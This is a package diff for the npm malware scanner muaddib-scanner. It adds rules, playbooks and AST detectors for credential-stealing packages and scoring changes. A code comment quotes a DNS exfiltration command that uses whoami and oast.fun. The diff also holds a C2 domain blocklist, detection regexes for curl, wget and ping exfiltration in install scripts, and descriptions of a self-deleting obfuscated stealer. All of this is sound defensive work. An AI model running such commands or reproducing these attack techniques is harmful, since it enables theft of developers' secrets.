muaddib-scanner 2.10.92 → 2.10.94
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -3
- package/package.json +1 -1
- package/src/monitor/classify.js +6 -1
- package/src/response/playbooks.js +15 -0
- package/src/rules/index.js +36 -0
- package/src/scanner/ast-detectors/constants.js +10 -1
- package/src/scanner/ast-detectors/handle-new-expression.js +29 -0
- package/src/scanner/ast-detectors/handle-post-walk.js +20 -0
- package/src/scanner/ast.js +4 -0
- package/src/scanner/package.js +43 -6
- package/src/scoring.js +16 -1
package/README.md
CHANGED
|
@@ -292,7 +292,7 @@ repos:
|
|
|
292
292
|
| **FPR** (Benign random) | **7.5%** (15/200) | 200 random npm packages, stratified sampling |
|
|
293
293
|
| **ADR** (Adversarial + Holdout) | **96.3%** (103/107) | 67 adversarial + 40 holdout (107 available on disk), global threshold=20 |
|
|
294
294
|
|
|
295
|
-
**
|
|
295
|
+
**3230 tests** across 66 files. **207 rules** (202 RULES + 5 PARANOID).
|
|
296
296
|
|
|
297
297
|
> **ML retrain methodology (v2.10.51):**
|
|
298
298
|
> - Ground truth: 377 confirmed_malicious via auto-labeler (OSSF malicious-packages, GitHub Advisory Database, npm registry takedown correlation)
|
|
@@ -340,7 +340,7 @@ npm test
|
|
|
340
340
|
|
|
341
341
|
### Testing
|
|
342
342
|
|
|
343
|
-
- **
|
|
343
|
+
- **3230 tests** across 66 modular test files
|
|
344
344
|
- **56 fuzz tests** - Malformed inputs, ReDoS, unicode, binary
|
|
345
345
|
- **Datadog 17K benchmark** - 14,587 confirmed malware samples (in-scope)
|
|
346
346
|
- **Ground truth validation** - 67 real-world attacks (93.75% TPR@3, 85.9% TPR@20)
|
|
@@ -362,7 +362,7 @@ npm test
|
|
|
362
362
|
- [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) - Experimental protocol, holdout scores
|
|
363
363
|
- [Threat Model](docs/threat-model.md) - What MUAD'DIB detects and doesn't detect
|
|
364
364
|
- [Adversarial Evaluation](ADVERSARIAL.md) - Red team samples and ADR results
|
|
365
|
-
- [Security Policy](SECURITY.md) - Detection rules reference (
|
|
365
|
+
- [Security Policy](SECURITY.md) - Detection rules reference (207 rules)
|
|
366
366
|
- [Security Audit](docs/SECURITY_AUDIT.md) - Bypass validation report
|
|
367
367
|
- [FP Analysis](docs/EVALUATION.md) - Historical false positive analysis
|
|
368
368
|
|
package/package.json
CHANGED
package/src/monitor/classify.js
CHANGED
|
@@ -61,7 +61,12 @@ const HIGH_CONFIDENCE_MALICE_TYPES = new Set([
|
|
|
61
61
|
// v2.10.89: Security review findings — always malicious regardless of lifecycle
|
|
62
62
|
'curl_env_exfil', // curl/wget + env/base64 in lifecycle (exfiltration)
|
|
63
63
|
'function_constructor_require', // new Function.constructor("require") (RCE evasion)
|
|
64
|
-
'newsletter_auto_follow'
|
|
64
|
+
'newsletter_auto_follow', // Baileys WhatsApp newsletter hijack
|
|
65
|
+
// v2.10.93: Security review 2026-04-10→17 findings
|
|
66
|
+
'self_destruct_eval', // dynamic exec + unlink __filename (csec anti-forensics)
|
|
67
|
+
// v2.10.94: MT-1 ceiling bypass for ltidi and csec under-threshold cases
|
|
68
|
+
'external_tarball_dep', // dep URL = tarball on third-party host (ltidi chain)
|
|
69
|
+
'function_runtime_args' // new Function('require','__dirname','__filename',...) pattern (csec)
|
|
65
70
|
]);
|
|
66
71
|
|
|
67
72
|
// Lifecycle compound types that indicate real malicious intent beyond a simple postinstall
|
|
@@ -881,6 +881,21 @@ const PLAYBOOKS = {
|
|
|
881
881
|
lifecycle_env_exfil:
|
|
882
882
|
'CRITIQUE: Lifecycle hook + exfiltration env via curl/wget a l\'installation. ' +
|
|
883
883
|
'Machine compromise si deja installe. Rotation immediate de TOUS les secrets.',
|
|
884
|
+
|
|
885
|
+
self_destruct_eval:
|
|
886
|
+
'CRITIQUE: Execution dynamique de code (eval/new Function/Module._compile) + auto-suppression du fichier execute (unlinkSync/renameSync sur __filename). ' +
|
|
887
|
+
'Pattern anti-forensique professionnel: le malware execute son payload obfusque puis efface ses traces. Campagne csec-crypto-toolkit (avril 2026) exfiltre .env, GITHUB_TOKEN, NPM_TOKEN, AWS/SSH keys vers csec-supply-chain-attack.vercel.app, puis unlinkSync(__filename). ' +
|
|
888
|
+
'Machine compromise si deja installe. Rotation immediate de TOUS les secrets (.env, tokens CI/CD, cles SSH). Verifier les .env des repertoires parents jusqu\'a 6 niveaux. Supprimer le package.',
|
|
889
|
+
|
|
890
|
+
function_runtime_args:
|
|
891
|
+
'CRITIQUE: new Function() appele avec les identifiants runtime Node (require, __dirname, __filename) passes comme arguments string literal + corps dynamique. ' +
|
|
892
|
+
'Pattern csec-crypto-toolkit: l\'attaquant injecte le contexte Node complet dans un payload obfusque execute en memoire, contournant la detection de require() standard. Aucun package legitime n\'utilise ce pattern. ' +
|
|
893
|
+
'Lire le contenu de l\'argument body. Tracer la source (souvent XOR/base64 decode). Isoler et supprimer.',
|
|
894
|
+
|
|
895
|
+
external_tarball_dep:
|
|
896
|
+
'CRITIQUE: Dependance declaree avec URL tarball (.tgz/.tar.gz) hebergee hors des registres npm legitimes (github.com, gitlab.com, bitbucket.org, registry.npmjs.org). ' +
|
|
897
|
+
'Pattern ltidi chain attack (avril 2026): le stub publie sur npm n\'a aucun install hook visible, la charge utile est hebergee sur un cloud storage (GCS, S3, CDN) et contourne entierement l\'audit du registre npm. ' +
|
|
898
|
+
'Verifier le contenu de la tarball distante avant toute installation. Supprimer le package. Signaler au registre npm.',
|
|
884
899
|
};
|
|
885
900
|
|
|
886
901
|
function getPlaybook(threatType) {
|
package/src/rules/index.js
CHANGED
|
@@ -2264,6 +2264,42 @@ const RULES = {
|
|
|
2264
2264
|
],
|
|
2265
2265
|
mitre: 'T1496'
|
|
2266
2266
|
},
|
|
2267
|
+
self_destruct_eval: {
|
|
2268
|
+
id: 'MUADDIB-AST-089',
|
|
2269
|
+
name: 'Self-Destructing Dynamic Execution',
|
|
2270
|
+
severity: 'CRITICAL',
|
|
2271
|
+
confidence: 'high',
|
|
2272
|
+
description: 'Execution dynamique de code (eval/new Function/Module._compile) combinee a la suppression ou renommage du fichier en cours d\'execution (unlinkSync/rmSync/renameSync sur __filename, module.filename, ou require.main.filename). Anti-forensics: le malware execute son payload obfusque puis efface ses traces. Aucun package legitime ne detruit son propre source apres execution de code dynamique. Campagne csec-crypto-toolkit (avril 2026): XOR(OrDeR_7077)+base64+new Function, exfiltre .env/.ssh/.npmrc vers csec-supply-chain-attack.vercel.app, puis unlinkSync(__filename).',
|
|
2273
|
+
references: [
|
|
2274
|
+
'https://attack.mitre.org/techniques/T1070.004/',
|
|
2275
|
+
'https://attack.mitre.org/techniques/T1140/'
|
|
2276
|
+
],
|
|
2277
|
+
mitre: 'T1070.004'
|
|
2278
|
+
},
|
|
2279
|
+
function_runtime_args: {
|
|
2280
|
+
id: 'MUADDIB-AST-090',
|
|
2281
|
+
name: 'Function() with Runtime Identifiers as Arguments',
|
|
2282
|
+
severity: 'CRITICAL',
|
|
2283
|
+
confidence: 'high',
|
|
2284
|
+
description: 'new Function() appele avec des identifiants runtime (require, __dirname, __filename, module, exports, process) passes comme arguments string literal, et un corps dynamique (variable, expression). Pattern csec-crypto-toolkit: l\'attaquant injecte le contexte Node complet dans un payload obfusque execute en memoire, contournant la detection require() standard. Aucun package legitime ne passe require + __filename a new Function.',
|
|
2285
|
+
references: [
|
|
2286
|
+
'https://attack.mitre.org/techniques/T1059.007/',
|
|
2287
|
+
'https://attack.mitre.org/techniques/T1027/'
|
|
2288
|
+
],
|
|
2289
|
+
mitre: 'T1059.007'
|
|
2290
|
+
},
|
|
2291
|
+
external_tarball_dep: {
|
|
2292
|
+
id: 'MUADDIB-PKG-020',
|
|
2293
|
+
name: 'External Tarball Dependency URL',
|
|
2294
|
+
severity: 'CRITICAL',
|
|
2295
|
+
confidence: 'high',
|
|
2296
|
+
description: 'Dependance declaree avec une URL tarball (.tgz/.tar.gz/.tar.bz2/.zip) hebergee hors des registres npm legitimes (github.com, gitlab.com, bitbucket.org, registry.npmjs.org, registry.yarnpkg.com). Pattern ltidi chain attack (avril 2026): le stub publie sur npm n\'a pas d\'install hook visible, la charge utile est hebergee sur un cloud storage (GCS, S3, CDN) et contourne entierement l\'audit du registre npm. Attention: MT-1 score ceiling (cap non-lifecycle a 35) bypasse via HIGH_CONFIDENCE_MALICE_TYPES.',
|
|
2297
|
+
references: [
|
|
2298
|
+
'https://attack.mitre.org/techniques/T1195.002/',
|
|
2299
|
+
'https://attack.mitre.org/techniques/T1105/'
|
|
2300
|
+
],
|
|
2301
|
+
mitre: 'T1195.002'
|
|
2302
|
+
},
|
|
2267
2303
|
version_99_preinstall: {
|
|
2268
2304
|
id: 'MUADDIB-PKG-019',
|
|
2269
2305
|
name: 'Dependency Confusion Version Indicator',
|
|
@@ -144,7 +144,12 @@ const GIT_HOOKS = [
|
|
|
144
144
|
|
|
145
145
|
// Suspicious C2/exfiltration domains (HIGH severity)
|
|
146
146
|
const SUSPICIOUS_DOMAINS_HIGH = [
|
|
147
|
+
// OAST (Out-of-band Application Security Testing) callback domains.
|
|
148
|
+
// Legitimate only for authorized pentesting — in published npm packages,
|
|
149
|
+
// these are always reconnaissance/exfiltration callbacks (dependency confusion, SSRF confirmation).
|
|
147
150
|
'oastify.com', 'oast.fun', 'oast.me', 'oast.live',
|
|
151
|
+
'oast.online', 'oast.pro',
|
|
152
|
+
'interact.sh', 'projectdiscovery.io',
|
|
148
153
|
'burpcollaborator.net', 'webhook.site', 'pipedream.net',
|
|
149
154
|
'requestbin.com', 'hookbin.com', 'canarytokens.com',
|
|
150
155
|
// GlassWorm C2 IPs (mars 2026)
|
|
@@ -167,7 +172,11 @@ const SUSPICIOUS_DOMAINS_HIGH = [
|
|
|
167
172
|
'minhdong.site', // Facebook credential proxy (fca-mmtat)
|
|
168
173
|
'ltidi.storage.googleapis.com', // KuCoin dependency confusion payload
|
|
169
174
|
'jsonkeeper.com', // Robert King campaign C2 dead drop
|
|
170
|
-
'npoint.io'
|
|
175
|
+
'npoint.io', // Robert King campaign C2 dead drop
|
|
176
|
+
// v2.10.93: Security review 2026-04-10→17 findings
|
|
177
|
+
'csec-supply-chain-attack.vercel.app', // csec-crypto-toolkit credential stealer C2 (XOR+Function+unlink)
|
|
178
|
+
'files.giftedtech.co.ke', // silva-baileys V3 newsletter JID remote loader
|
|
179
|
+
'phish.sh' // JET/SkipTheDishes depconf webhook exfil
|
|
171
180
|
];
|
|
172
181
|
|
|
173
182
|
// Suspicious tunnel/proxy domains (MEDIUM severity)
|
|
@@ -11,6 +11,35 @@ const {
|
|
|
11
11
|
|
|
12
12
|
function handleNewExpression(node, ctx) {
|
|
13
13
|
if (node.callee.type === 'Identifier' && node.callee.name === 'Function') {
|
|
14
|
+
// v2.10.94: detect new Function('require', '__dirname', '__filename', <dynamic>)
|
|
15
|
+
// csec-crypto-toolkit pattern. Gated by obfuscation signal to avoid FP on
|
|
16
|
+
// legitimate CommonJS module wrappers used by babel-register, ts-node, pirates,
|
|
17
|
+
// jest, nyc, vitest etc. which call new Function('module', 'exports', 'require',
|
|
18
|
+
// compiledCode). Those transpilers DO NOT have fromCharCode/base64 decode loops
|
|
19
|
+
// in the same file — csec does.
|
|
20
|
+
if (node.arguments.length >= 3) {
|
|
21
|
+
const RUNTIME_ARG_NAMES = new Set(['require', '__dirname', '__filename', 'module', 'exports', 'process']);
|
|
22
|
+
const bodyArg = node.arguments[node.arguments.length - 1];
|
|
23
|
+
const argNameLiterals = node.arguments.slice(0, -1)
|
|
24
|
+
.map(a => (a.type === 'Literal' && typeof a.value === 'string') ? a.value : null);
|
|
25
|
+
const runtimeArgCount = argNameLiterals.filter(v => v !== null && RUNTIME_ARG_NAMES.has(v)).length;
|
|
26
|
+
const bodyIsDynamic = bodyArg.type !== 'Literal';
|
|
27
|
+
// FP gate: require an obfuscation/decode signal in the same file.
|
|
28
|
+
// ctx.hasFromCharCode catches XOR/charcode loops (csec).
|
|
29
|
+
// ctx.hasBase64Decode catches Buffer.from(..., 'base64') patterns.
|
|
30
|
+
// ctx.hasZlibInflate catches zlib + base64 payloads.
|
|
31
|
+
const hasObfuscationContext = ctx.hasFromCharCode || ctx.hasBase64Decode || ctx.hasZlibInflate;
|
|
32
|
+
if (runtimeArgCount >= 2 && bodyIsDynamic && hasObfuscationContext) {
|
|
33
|
+
ctx.hasDynamicExec = true;
|
|
34
|
+
ctx.threats.push({
|
|
35
|
+
type: 'function_runtime_args',
|
|
36
|
+
severity: 'CRITICAL',
|
|
37
|
+
message: `new Function() passes runtime identifiers (${argNameLiterals.filter(Boolean).join(', ')}) to a dynamic body in a file containing decode/obfuscation patterns — csec-style obfuscated payload with full Node.js context.`,
|
|
38
|
+
file: ctx.relFile
|
|
39
|
+
});
|
|
40
|
+
return;
|
|
41
|
+
}
|
|
42
|
+
}
|
|
14
43
|
// Skip string literal args — zero-risk globalThis polyfills used by every bundler
|
|
15
44
|
if (!hasOnlyStringLiteralArgs(node)) {
|
|
16
45
|
ctx.hasDynamicExec = true;
|
|
@@ -23,6 +23,26 @@ function handlePostWalk(ctx) {
|
|
|
23
23
|
});
|
|
24
24
|
}
|
|
25
25
|
|
|
26
|
+
// v2.10.93: csec-style credential stealer — dynamic exec + self-deletion of __filename.
|
|
27
|
+
// csec-crypto-toolkit (avril 2026): XOR-obfuscated setup.js that exfiltrates
|
|
28
|
+
// .env/.ssh/.npmrc to csec-supply-chain-attack.vercel.app, then unlinks itself
|
|
29
|
+
// and replaces package.json with package.md to erase traces.
|
|
30
|
+
// Threat model: the combination of (a) dynamic code execution from a variable
|
|
31
|
+
// (eval/new Function/Module._compile) with (b) self-deletion of the currently
|
|
32
|
+
// executing file is a professional anti-forensics signature. Legitimate packages
|
|
33
|
+
// do not destroy their own source after executing obfuscated code.
|
|
34
|
+
// Suppressed in dist/build to avoid bundler self-cleanup FPs (rare but possible).
|
|
35
|
+
if (ctx.hasDynamicExec && ctx.hasSelfDelete) {
|
|
36
|
+
const isDistFile = /^(dist|build|out|output)[/\\]/i.test(ctx.relFile) ||
|
|
37
|
+
/\.(bundle|min)\.js$/i.test(ctx.relFile);
|
|
38
|
+
ctx.threats.push({
|
|
39
|
+
type: 'self_destruct_eval',
|
|
40
|
+
severity: isDistFile ? 'HIGH' : 'CRITICAL',
|
|
41
|
+
message: 'Anti-forensics: dynamic code execution (eval/new Function/Module._compile) + self-deletion of __filename — malware staging with trace removal (csec pattern).',
|
|
42
|
+
file: ctx.relFile
|
|
43
|
+
});
|
|
44
|
+
}
|
|
45
|
+
|
|
26
46
|
// SANDWORM_MODE R7: env harvesting = Object.entries/keys/values(process.env) + sensitive pattern in file
|
|
27
47
|
if (ctx.hasEnvEnumeration && ctx.hasEnvHarvestPattern && ctx.hasNetworkCallInFile) {
|
|
28
48
|
ctx.threats.push({
|
package/src/scanner/ast.js
CHANGED
|
@@ -140,6 +140,10 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
140
140
|
hasTempFileExec: false,
|
|
141
141
|
hasFileDelete: false,
|
|
142
142
|
hasDevShmInContent: /\/dev\/shm\b/.test(content),
|
|
143
|
+
// v2.10.93: csec-style self-deletion — unlink/rename of __filename targets the
|
|
144
|
+
// executing file itself. Distinct from hasFileDelete (any file). Combined with
|
|
145
|
+
// hasDynamicExec in a compound to flag anti-forensics obfuscated stealers.
|
|
146
|
+
hasSelfDelete: /\b(?:unlinkSync|unlink|rmSync|renameSync|rm)\s*\(\s*(?:__filename|module\.filename|require\.main\.filename)\b/.test(content),
|
|
143
147
|
// SANDWORM_MODE P2: env harvesting co-occurrence
|
|
144
148
|
hasEnvEnumeration: false, // Object.entries/keys/values(process.env)
|
|
145
149
|
hasEnvHarvestPattern: /\b(KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|NPM|AWS|SSH|WEBHOOK)\b/.test(content),
|
package/src/scanner/package.js
CHANGED
|
@@ -119,15 +119,17 @@ async function scanPackageJson(targetPath) {
|
|
|
119
119
|
// v2.10.89: curl/wget + env/base64 exfiltration in lifecycle scripts
|
|
120
120
|
// Catches: apache-arrow-14 (score 9→CRITICAL), @signals-notebook (score 9→CRITICAL)
|
|
121
121
|
// Pattern: curl -d $(env|base64) URL, curl -X POST URL?env=$(env|base64 -w0)
|
|
122
|
+
// v2.10.94: extended to ping/nslookup/dig/host/getent — DNS exfil variants.
|
|
123
|
+
// Catches: koa-v3@9.4.0 which uses `ping -c 1 $(whoami).<hex>.oast.fun` instead of curl.
|
|
122
124
|
if (['preinstall', 'install', 'postinstall'].includes(scriptName) &&
|
|
123
|
-
/\b(curl|wget)\b/.test(scriptContent) &&
|
|
125
|
+
/\b(curl|wget|ping|nslookup|dig|host|getent)\b/.test(scriptContent) &&
|
|
124
126
|
(/\$\(.*\b(env|id|whoami|uname|hostname)\b/.test(scriptContent) ||
|
|
125
127
|
(/\bbase64\b/.test(scriptContent) && !/\|\s*(sh|bash)\b/.test(scriptContent)))) {
|
|
126
128
|
// Exclude curl|sh which is already caught by lifecycle_shell_pipe
|
|
127
129
|
threats.push({
|
|
128
130
|
type: 'curl_env_exfil',
|
|
129
131
|
severity: 'CRITICAL',
|
|
130
|
-
message: `Critical: "${scriptName}" uses curl/wget with env/base64
|
|
132
|
+
message: `Critical: "${scriptName}" uses DNS/HTTP exfil tool (curl/wget/ping/nslookup/dig) with env/base64 payload — credential theft via lifecycle script.`,
|
|
131
133
|
file: 'package.json'
|
|
132
134
|
});
|
|
133
135
|
}
|
|
@@ -324,11 +326,46 @@ async function scanPackageJson(targetPath) {
|
|
|
324
326
|
/\/\/192\.168\.\d{1,3}\.\d{1,3}[:/]/,
|
|
325
327
|
/\/\/172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}[:/]/
|
|
326
328
|
].some(p => p.test(urlLower));
|
|
329
|
+
|
|
330
|
+
// v2.10.93: External raw tarball URL as dep — ltidi chain attack pattern.
|
|
331
|
+
// GitHub/GitLab/Bitbucket release tarballs are legitimate; everything else
|
|
332
|
+
// pointing to .tgz/.tar.gz/.zip is payload delivery via third-party storage
|
|
333
|
+
// (GCS, S3, CDNs). The stub package bypasses all lifecycle/obfuscation scanners
|
|
334
|
+
// because the malicious code lives in the external tarball fetched at install.
|
|
335
|
+
const isTarballUrl = /\.(tgz|tar\.gz|tar\.bz2|zip)(\?|#|$)/.test(urlLower);
|
|
336
|
+
const isLegitTarballHost = [
|
|
337
|
+
/\/\/github\.com\//,
|
|
338
|
+
/\/\/codeload\.github\.com\//,
|
|
339
|
+
/\/\/objects\.githubusercontent\.com\//,
|
|
340
|
+
/\/\/gitlab\.com\//,
|
|
341
|
+
/\/\/bitbucket\.org\//,
|
|
342
|
+
/\/\/registry\.npmjs\.org\//,
|
|
343
|
+
/\/\/registry\.yarnpkg\.com\//
|
|
344
|
+
].some(p => p.test(urlLower));
|
|
345
|
+
const isExternalTarball = isTarballUrl && !isLegitTarballHost;
|
|
346
|
+
|
|
347
|
+
let severity;
|
|
348
|
+
let note;
|
|
349
|
+
if (isSuspicious) {
|
|
350
|
+
severity = 'CRITICAL';
|
|
351
|
+
note = ' (tunnel/private/localhost)';
|
|
352
|
+
} else if (isExternalTarball) {
|
|
353
|
+
severity = 'CRITICAL';
|
|
354
|
+
note = ' (external raw tarball on third-party host — chain attack pattern, npm registry audit bypass)';
|
|
355
|
+
} else {
|
|
356
|
+
severity = 'HIGH';
|
|
357
|
+
note = ' (unusual, verify source)';
|
|
358
|
+
}
|
|
359
|
+
|
|
360
|
+
// v2.10.94: External tarball on third-party host emits a distinct type
|
|
361
|
+
// so MT-1 score ceiling (caps non-lifecycle, non-HC packages at 35) can be
|
|
362
|
+
// bypassed via HIGH_CONFIDENCE_MALICE_TYPES. ltidi stubs have no install
|
|
363
|
+
// hooks, so the dep URL is the only signal and must be HC-classified.
|
|
364
|
+
const threatType = isExternalTarball ? 'external_tarball_dep' : 'dependency_url_suspicious';
|
|
327
365
|
threats.push({
|
|
328
|
-
type:
|
|
329
|
-
severity
|
|
330
|
-
message: `Dependency "${depName}" uses HTTP URL: ${depVersion}
|
|
331
|
-
(isSuspicious ? ' (tunnel/private/localhost)' : ' (unusual, verify source)'),
|
|
366
|
+
type: threatType,
|
|
367
|
+
severity,
|
|
368
|
+
message: `Dependency "${depName}" uses HTTP URL: ${depVersion}${note}`,
|
|
332
369
|
file: 'package.json'
|
|
333
370
|
});
|
|
334
371
|
}
|
package/src/scoring.js
CHANGED
|
@@ -118,7 +118,9 @@ const PACKAGE_LEVEL_TYPES = new Set([
|
|
|
118
118
|
'lifecycle_missing_script',
|
|
119
119
|
// v2.10.89: Security review compounds
|
|
120
120
|
'lifecycle_newsletter_hijack', 'lifecycle_env_exfil',
|
|
121
|
-
'curl_env_exfil', 'version_99_preinstall'
|
|
121
|
+
'curl_env_exfil', 'version_99_preinstall',
|
|
122
|
+
// v2.10.94: new package-level type for ltidi chain attack (dep URL on third-party host)
|
|
123
|
+
'external_tarball_dep'
|
|
122
124
|
]);
|
|
123
125
|
|
|
124
126
|
/**
|
|
@@ -253,6 +255,9 @@ const DIST_EXEMPT_TYPES = new Set([
|
|
|
253
255
|
'npm_publish_worm', // exec("npm publish") (worm propagation)
|
|
254
256
|
'curl_env_exfil', // curl/wget env exfil in lifecycle (always malicious)
|
|
255
257
|
'function_constructor_require', // new Function.constructor("require") (always malicious)
|
|
258
|
+
'self_destruct_eval', // dynamic exec + unlink __filename (csec anti-forensics)
|
|
259
|
+
'function_runtime_args', // new Function('require','__dirname','__filename',...) + obfuscation (csec)
|
|
260
|
+
'external_tarball_dep', // dep URL tarball on third-party host (ltidi chain)
|
|
256
261
|
// Dangerous shell commands in dist/ are real threats, never bundler output
|
|
257
262
|
'dangerous_exec',
|
|
258
263
|
// Compound scoring rules — co-occurrence signals, never FP
|
|
@@ -893,6 +898,16 @@ function calculateRiskScore(deduped, intentResult) {
|
|
|
893
898
|
if (packageScore >= 25 && packageLevelThreats.some(t => t.severity === 'CRITICAL')) {
|
|
894
899
|
packageScore = Math.max(packageScore, 50);
|
|
895
900
|
}
|
|
901
|
+
// v2.10.94: Co-occurrence floor — 2+ distinct CRITICAL package-level types (different
|
|
902
|
+
// threat types, not duplicates) is a near-unambiguous malware signature. Lifts to 75
|
|
903
|
+
// (CRITICAL tier) so the final risk level reflects real severity instead of stopping
|
|
904
|
+
// at HIGH. Catches apache-arrow-14 (curl_env_exfil + lifecycle_env_exfil compound).
|
|
905
|
+
const criticalPkgTypes = new Set(
|
|
906
|
+
packageLevelThreats.filter(t => t.severity === 'CRITICAL').map(t => t.type)
|
|
907
|
+
);
|
|
908
|
+
if (criticalPkgTypes.size >= 2) {
|
|
909
|
+
packageScore = Math.max(packageScore, 75);
|
|
910
|
+
}
|
|
896
911
|
|
|
897
912
|
// 5. Cross-file bonus: aggregate signal from non-max files
|
|
898
913
|
// A package with 3 files each scoring 20 is more suspicious than 1 file scoring 20.
|